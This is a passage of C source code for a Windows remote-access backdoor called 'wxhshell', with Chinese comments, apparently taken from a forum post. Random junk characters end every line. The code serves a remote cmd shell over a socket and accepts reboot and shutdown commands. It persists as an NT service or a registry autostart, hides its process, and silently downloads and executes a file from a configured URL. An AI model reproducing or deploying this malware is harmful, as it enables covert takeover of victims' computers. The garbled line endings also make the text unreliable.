  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T93st<F=R  
  } f}p`<z   
  else { &/ED.K  
RqP_^tB  
    switch(cmd[0]) { RyG6_ G}  
  B]: |;d  
  // 帮助 ?6hd(^  
  case '?': { q\|RI;W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )0ydSz`B  
    break; *Uj;a.  
  } k0#s{<I]E  
  // 安装 h]+;"v6 /  
  case 'i': { LHXR7Fjc  
    if(Install()) &5${k'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C"B'Dj  
    else !{+.)%d'g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c5b }q@nH  
    break; ,\cV,$  
    } i$Kx@,O8t  
  // 卸载 1X5Yp|Ho  
  case 'r': { 19c_=$mV  
    if(Uninstall()) &qWB\m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  -gS9I^  
    else *hJWuMfY,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #ojuSS3  
    break; ,aGIq. *v  
    } *78c2`)[  
  // 显示 wxhshell 所在路径 m- ibS:  
  case 'p': { UZrEFpi  
    char svExeFile[MAX_PATH]; O(!; 7v}  
    strcpy(svExeFile,"\n\r"); oz)4YBf  
      strcat(svExeFile,ExeFile); Z]oGE@! n"  
        send(wsh,svExeFile,strlen(svExeFile),0); mH0OW  
    break; W=w]`'  
    } saQs<1  
  // 重启 Q"nw.FjUG  
  case 'b': { I`rN+c:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cNxxX!P/  
    if(Boot(REBOOT)) sxph#E%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Xfu?Yan  
    else { =~Qg(=U0U  
    closesocket(wsh); cs*E9  
    ExitThread(0); ~;H,cPvrEg  
    } 9d-'%Q>+  
    break; B["+7\c<~  
    } /|i*'6*  
  // 关机 fCF.P"{W"  
  case 'd': { X&LJ"ahK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W;2J~V!c  
    if(Boot(SHUTDOWN)) 3nc\6v%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O6)Po  
    else { .m l\z5  
    closesocket(wsh); KsE$^`  
    ExitThread(0); zow8 Q6f  
    } V| kN 1 A  
    break; &]RE 5!  
    } ")\V  
  // 获取shell L6Brs"9B  
  case 's': { zGyRzxFN  
    CmdShell(wsh); C$~ly=@  
    closesocket(wsh); 1Q!^*D  
    ExitThread(0); 2EZ7Vdz2  
    break; n7K%lj-.P  
  } Q\ 6-SAS  
  // 退出 ng9e)lU~*b  
  case 'x': { ]= %qm;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); buN@O7\  
    CloseIt(wsh); wv."  
    break; ^uN[rHZ*u  
    } a{Y|`*7y  
  // 离开 3en6 7l  
  case 'q': { l5Ko9CG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aF+Lam(  
    closesocket(wsh); [J}eNprg  
    WSACleanup(); ?HZ^V  
    exit(1); Ys}^ hy  
    break; Q2r[^Z  
        } ;*j K!  
  } Z'y&11  
  }  c1s&  
0RMW>v/7kL  
  // 提示信息 hk:>*B}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sL~4 ~178  
} !E?+1WDS0  
  } E>tHKNyVTp  
JfSe; v  
  return; ox&? `DO  
} eS@j? Y0y  
M.}J SDt  
// shell模块句柄 kBcTXl  
int CmdShell(SOCKET sock) ]bh%pn  
{ cl `Wl/Q#  
STARTUPINFO si; >.`*KQdan  
ZeroMemory(&si,sizeof(si)); vr4r,[B6y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h+j^VsP zB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z{\tn.67  
PROCESS_INFORMATION ProcessInfo; `14@dk  
char cmdline[]="cmd"; }BI6dZ~2A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y,|2hrj/0E  
  return 0; s9CmR]C  
} `G\Gk|4; 2  
0{z8pNrc  
// 自身启动模式 QJ(%rvn3  
int StartFromService(void) =LV-n  
{ U!r8}@  
typedef struct ~ E6e~  
{ P4_B.5rrJ  
  DWORD ExitStatus; hN!;Tny  
  DWORD PebBaseAddress; L +Uq4S^  
  DWORD AffinityMask; SN ?Z7  
  DWORD BasePriority; 6_QAE6A  
  ULONG UniqueProcessId; ~&T U  
  ULONG InheritedFromUniqueProcessId; iD|~$<9o  
}   PROCESS_BASIC_INFORMATION; '%ilF1#  
}lX$KuD  
PROCNTQSIP NtQueryInformationProcess; OHBCanZZ,  
dLb$3!3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _3 oo%?}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VED~v#.c  
*w(n%f  
  HANDLE             hProcess; t :YZua  
  PROCESS_BASIC_INFORMATION pbi; P8By~f32_  
;xz_H$g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1-? i*C  
  if(NULL == hInst ) return 0; "J+L]IC?AD  
"0jwCX Cu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q%d%Io\-t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); erUK; +2g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3c6e$/  
:23S%B~X  
  if (!NtQueryInformationProcess) return 0; \)t//0  
d;l%XZe  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sGhw23  
  if(!hProcess) return 0; !nkIXgWz  
r/AOgS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^0|:  
d"db`8 ;S  
  CloseHandle(hProcess); dFw+nGN  
F}45.C rD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Bc }o3oc  
if(hProcess==NULL) return 0; [T =>QS@g  
NN'pBU R  
HMODULE hMod; |\uj(|  
char procName[255]; <dP \vLH_  
unsigned long cbNeeded; i;C` .+  
ef '?O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =l/Dc=[  
&gr 8;O:0  
  CloseHandle(hProcess); "A+7G5  
'a+^= c  
if(strstr(procName,"services")) return 1; // 以服务启动 {Dl@/fz  
fiWN^sTM  
  return 0; // 注册表启动 X [dfms;H  
} ;-~E !_$  
oc] C+l  
// 主模块 Ds"%=  
int StartWxhshell(LPSTR lpCmdLine) _ncBq;j{  
{ DKfpap}8u  
  SOCKET wsl; IKP_%R8.  
BOOL val=TRUE; WM|G/'q  
  int port=0; fTPm Fb  
  struct sockaddr_in door; >Z_;ZMu)  
tkk8b6%h?p  
  if(wscfg.ws_autoins) Install(); DVhBZ!u 9  
d"?"(Q_8n  
port=atoi(lpCmdLine); w%qnH e9  
X:Wd%CHP  
if(port<=0) port=wscfg.ws_port; v.8kGF  
n4dNGp7\`  
  WSADATA data; H}~K51  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *Oy* \cX2[  
0;><@{'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #N`G2}1J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E`JW4)AH  
  door.sin_family = AF_INET; R_/;U&R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :$u[1&6  
  door.sin_port = htons(port); 6 ~0kb_td  
cKkH*0B5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~L<"]V+B  
closesocket(wsl); d'MZ%.#  
return 1; ps2j]g  
} bR"4:b>K  
:]F66dh+  
  if(listen(wsl,2) == INVALID_SOCKET) { WcSvw  
closesocket(wsl); Nm&'&L%Ch  
return 1; *cWHl@4  
} 7Ji'7$  
  Wxhshell(wsl); )C?H m^ #  
  WSACleanup(); ej_u):G*  
#Ko I8U"  
return 0; "Y:>^F;  
iYT?6Y|+  
} 0'F/z%SMj  
C)i8XX  
// 以NT服务方式启动 =dNE1rdzNa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D>{`I'  
{ J#Y0R"fo  
DWORD   status = 0; $*X?]?  
  DWORD   specificError = 0xfffffff; DjK7_'7(L  
S'|PA7a}h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o N A ]G]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $S<B\\ %  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  /d|:  
  serviceStatus.dwWin32ExitCode     = 0; i9Bh<j>:J  
  serviceStatus.dwServiceSpecificExitCode = 0; j"~"-E(79  
  serviceStatus.dwCheckPoint       = 0; ~{{S<S v  
  serviceStatus.dwWaitHint       = 0; B<BS^waU  
0/DO"pnL@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ng;?hTw  
  if (hServiceStatusHandle==0) return; 6X A(<1P  
=gSc{ i|  
status = GetLastError();  D~"a"  
  if (status!=NO_ERROR) xF3FY0U[  
{ L"9Z{o7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8 vq-|p  
    serviceStatus.dwCheckPoint       = 0; OT$ Ne  
    serviceStatus.dwWaitHint       = 0; 0U% tjYk(  
    serviceStatus.dwWin32ExitCode     = status; &8i$`6wY  
    serviceStatus.dwServiceSpecificExitCode = specificError; `~d7l@6F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); RYvdfj.ij  
    return; DRRQ] eK0  
  } 7{M&9| aK  
q M_c-^F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Jf= V<  
  serviceStatus.dwCheckPoint       = 0; u8JH~b  
  serviceStatus.dwWaitHint       = 0; _y6iR&&x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ump Hae  
} \41/84BA  
.9ZK@xM&?  
// 处理NT服务事件,比如:启动、停止 'vt Jl  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ygja{W.  
{ RTd,bi*  
switch(fdwControl) -`Z!p  
{ 1mtYap4  
case SERVICE_CONTROL_STOP: 0sw;h.VY  
  serviceStatus.dwWin32ExitCode = 0; B2$cY;LH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sM)1w-  
  serviceStatus.dwCheckPoint   = 0; :!t4.ko  
  serviceStatus.dwWaitHint     = 0; i^:#*Q-co  
  { a8)2I~j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g?xXX /Qe  
  } I:DAn!N-A*  
  return; DFZ0~+rh  
case SERVICE_CONTROL_PAUSE: 9xJtDdy-O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uHacu<$=  
  break; J?#vL\8  
case SERVICE_CONTROL_CONTINUE: 7wWx8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5V(#nz  
  break; dKEy6C"@  
case SERVICE_CONTROL_INTERROGATE: w2b(,w  
  break; (5Q<xJ  
}; RgH 6l2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *iru>F8r:  
} 2Jiy`(P  
r<(UN@T}  
// 标准应用程序主函数 (p#c p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &Hf%Va[B  
{ k1g-%DB  
l%Ke>9C  
// 获取操作系统版本 hunlKIg  
OsIsNt=GetOsVer(); <%w TI<m,-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); a"Iu!$&N  
oVP,a r0G  
  // 从命令行安装 T[e+iv<8j  
  if(strpbrk(lpCmdLine,"iI")) Install(); &X~8S/nPAw  
Xsanc@w)^C  
  // 下载执行文件 HhCFAq"j  
if(wscfg.ws_downexe) { KY< $+/B!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $$p +~X  
  WinExec(wscfg.ws_filenam,SW_HIDE); jdVj FCl^#  
} 1Z_w2D*  
QhTn9S:D  
if(!OsIsNt) { t5b c Q@Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 @kDY c8 t9  
HideProc(); jT0iJ?d,!  
StartWxhshell(lpCmdLine); %/\sn<6C}  
} G2n. NW#d4  
else 5FB3w48  
  if(StartFromService()) yMkR)HY  
  // 以服务方式启动 -@w}}BR  
  StartServiceCtrlDispatcher(DispatchTable); E*T6kp^b  
else gI RZkT`  
  // 普通方式启动 4@F8-V3q4  
  StartWxhshell(lpCmdLine); /160pl 4  
EGv]K|  
return 0; YVF@v-v-,  
}
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只看该作者 1 发表于: 2006-10-10
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